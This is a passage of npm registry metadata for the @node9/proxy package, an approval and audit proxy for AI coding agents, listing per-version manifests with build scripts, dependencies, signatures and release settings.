examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0","esbuild":"^0.28.1"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"IAM for your AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^6.0.0","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.127.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.20.0_1790111832439_0.7345811488420255","host":"s3://npm-registry-packages-npm-production"}},"2.21.0":{"name":"@node9/proxy","version":"2.21.0","keywords":["ai-security","agent-security","agentic-ai","ai-agent","iam","agent-permissions","mcp","mcp-security","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","copilot-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","antigravity","security-proxy","dlp","prompt-injection","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.21.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"01f2b4027599d6fbcad942f938895a49861eb9d3","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.21.0.tgz","fileCount":17,"integrity":"sha512-2Nm8VtHGN+dxSbjqH6e21hwneVIhwgFY1BZSVSM3zJi1uBud+1ZVNguOs67QKg2zpz0PEOC/3fwSouRKIVgoDQ==","signatures":[{"sig":"MEUCIQDcpypJn99abmh8z1EQqm0hTPbhvkEAgxWTahuJpOTtYQIgIMShQ/c1MW72NLkaEAk/+u/awldA6iitSsISAgWbx9M=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQCeqTpLelGMqaWE7OU5GJv85qi5TWcKqVPhTPchpyjbIQIgWfHvm4UXt+DS3rwAak05czP4OmC/5+t+ZqNpTFiUkE8=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.21.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7661838},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"0e4bee005153171bc16f613e2b1a00d865a1091f","release":{"plugins":[["@semantic-release/commit-analyzer",{"releaseRules":[{"type":"docs","scope":"readme","release":"patch"}]}],"@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0","esbuild":"^0.28.1"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"IAM for your AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^6.0.0","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.127.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.21.0_1790148985427_0.9035884710004567","host":"s3://npm-registry-packages-npm-production"}},"2.22.0":{"name":"@node9/proxy","version":"2.22.0","keywords":["ai-security","agent-security","agentic-ai","ai-agent","iam","agent-permissions","mcp","mcp-security","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","copilot-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","antigravity","security-proxy","dlp","prompt-injection","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.22.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"474b3c486e578c91cbe4b481576c3a9a3e20154f","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.22.0.tgz","fileCount":17,"integrity":"sha512-SgPclQLjpqHRAh+s2Up+v82jD2TIDSaLs3eM5FZayARvwXzPE06LHuMzLpjNzmhv8em0iYnv1VA2pjVI3j/6XA==","signatures":[{"sig":"MEYCIQCiTe86EGZFHTZojIOreLtmyxS+Eiw+Ut99OCrjcKo1iwIhAPC7rN4gU/v0UD2BRTg69GPvjRO5y3bn1NvUYSnMAHw9","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIDenWeu60fI+fUhcf/09vRTQ1EHZw1MEcSyHktwooN8yAiEAk5Okuq6DkYMRm/rScxNfn3z1BeYaIhI1ZIGIyZ4gTmk=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.22.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7663454},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"f50175110aa052ce24da3a5c57339286dbdf4261","release":{"plugins":[["@semantic-release/commit-analyzer",{"releaseRules":[{"type":"docs","scope":"readme","release":"patch"}]}],"@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0","esbuild":"^0.28.1"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"IAM for your AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^6.0.0","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.127.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.22.0_1790245247198_0.7924731336808286","host":"s3://npm-registry-packages-npm-production"}},"2.22.1":{"name":"@node9/proxy","version":"2.22.1","keywords":["ai-security","agent-security","agentic-ai","ai-agent","iam","agent-permissions","mcp","mcp-security","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","copilot-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","antigravity","security-proxy","dlp","prompt-injection","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.22.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"ac0386cd1b3e9d49a19c05e92ff1178e4d32a392","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.22.1.tgz","fileCount":17,"integrity":"sha512-664tnIzJKDUe9O4UIAhrG+b9DDMcSZHVgphFV27Kt6hUUeFEl7prs6Eb/swKFHLW1LqfztvHxt4HQIwGNfROzQ==","signatures":[{"sig":"MEQCIDK+x8SdIwbQe6c20vyL/7saIDhcVPNuzSp9WRzIbcKPAiB5g1q1UAe1IMjzFQI2KNG+n0IFSId61hrJU2bUGoKtkA==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQC8+x7Q7H+QZlD5rcRZdEv80Lv8osEOHB5tsQXC3lGcbgIhANcmKHbV0AIJpDYoWUuRZnTdPm+PcW8MON4Zg0KqWJkP","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.22.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7663442},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"0ea72163288bcb0a7340874372c973c83acdfeb6","release":{"plugins":[["@semantic-release/commit-analyzer",{"releaseRules":[{"type":"docs","scope":"readme","release":"patch"}]}],"@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0","esbuild":"^0.28.1"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"IAM for your AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^6.0.0","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.127.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.22.1_1790250832352_0.7725601903617425","host":"s3://npm-registry-packages-npm-production"}},"2.23.0":{"name":"@node9/proxy","version":"2.23.0","keywords":["ai-security","agent-security","agentic-ai","ai-agent","iam","agent-permissions","mcp","mcp-security","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","copilot-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","antigravity","security-proxy","dlp","prompt-injection","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.23.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"d86bdc530be3ab5f5f8cd96911805d60fe4a1166","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.23.0.tgz","fileCount":17,"integrity":"sha512-sbmGuLN8NDF+iWAJqkE1l8ql7ows3tE/RMNzACqDteSEK0tU1KvET18UzK6FSGhlEuFuNmu+9QDFovgQtb6TdA==","signatures":[{"sig":"MEQCIHa/FSLIWq13w7+POOK0ZdHkh6bzQihvKJfmAgWOWlyLAiA89G83LjV8tAza0jop2QHf2CUlJLmIpNjCUVb5uLK2Tg==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQDkvKos4vJRWZuj+JdZ4oQhIcP9wW356lIIei+QRjmgCQIhAL8tkLq0e+ZysjsI93aRkkzFIh2n+l0z2VsRQNzp+iY5","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.23.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7716594},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"48fa8207412643fe38c09d97211e8b8efd90d84a","release":{"plugins":[["@semantic-release/commit-analyzer",{"releaseRules":[{"type":"docs","scope":"readme","release":"patch"}]}],"@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0","esbuild":"^0.28.1"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"IAM for your AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^6.0.0","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.127.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.23.0_1790273373714_0.3688322340042891","host":"s3://npm-registry-packages-npm-production"}},"2.23.1":{"name":"@node9/proxy","version":"2.23.1","keywords":["ai-security","agent-security","agentic-ai","ai-agent","iam","agent-permissions","mcp","mcp-security","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","copilot-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","antigravity","security-proxy","dlp","prompt-injection","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.23.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"b266230b6b8e51c8b412d99e03e3c0234479d535","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.23.1.tgz","fileCount":17,"integrity":"sha512-TqbaQ3XwjMztI49AjUVwaLzT1x8wdQRFRCVkHkxtQ7pH63UV0kjk1EWBlOqjZCkfL7hE+xsaseHn7hoIYo1MQg==","signatures":[{"sig":"MEQCIDn+9R6yJ3RD9wjpAe7ZQy8jMiHvoQcOwS1tdMsfrgE0AiACQFO/PWu451Djgjr3vn4whTTas9igfcC5FjN/AFnILg==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIFRrfFZgbzSU0YaWsMPt2myewqOlF04i46NYbEgrSE6zAiEA0QMNMagQBRo8kVbEF6D4TDlkT59Qt1HbbigdyL0caOU=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.23.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7732094},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"145b4cc6318e497581847f5bc48d684dfeb1e5ac","release":{"plugins":[["@semantic-release/commit-analyzer",{"releaseRules":[{"type":"docs","scope":"readme","release":"patch"}]}],"@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0","esbuild":"^0.28.1"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"IAM for your AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the 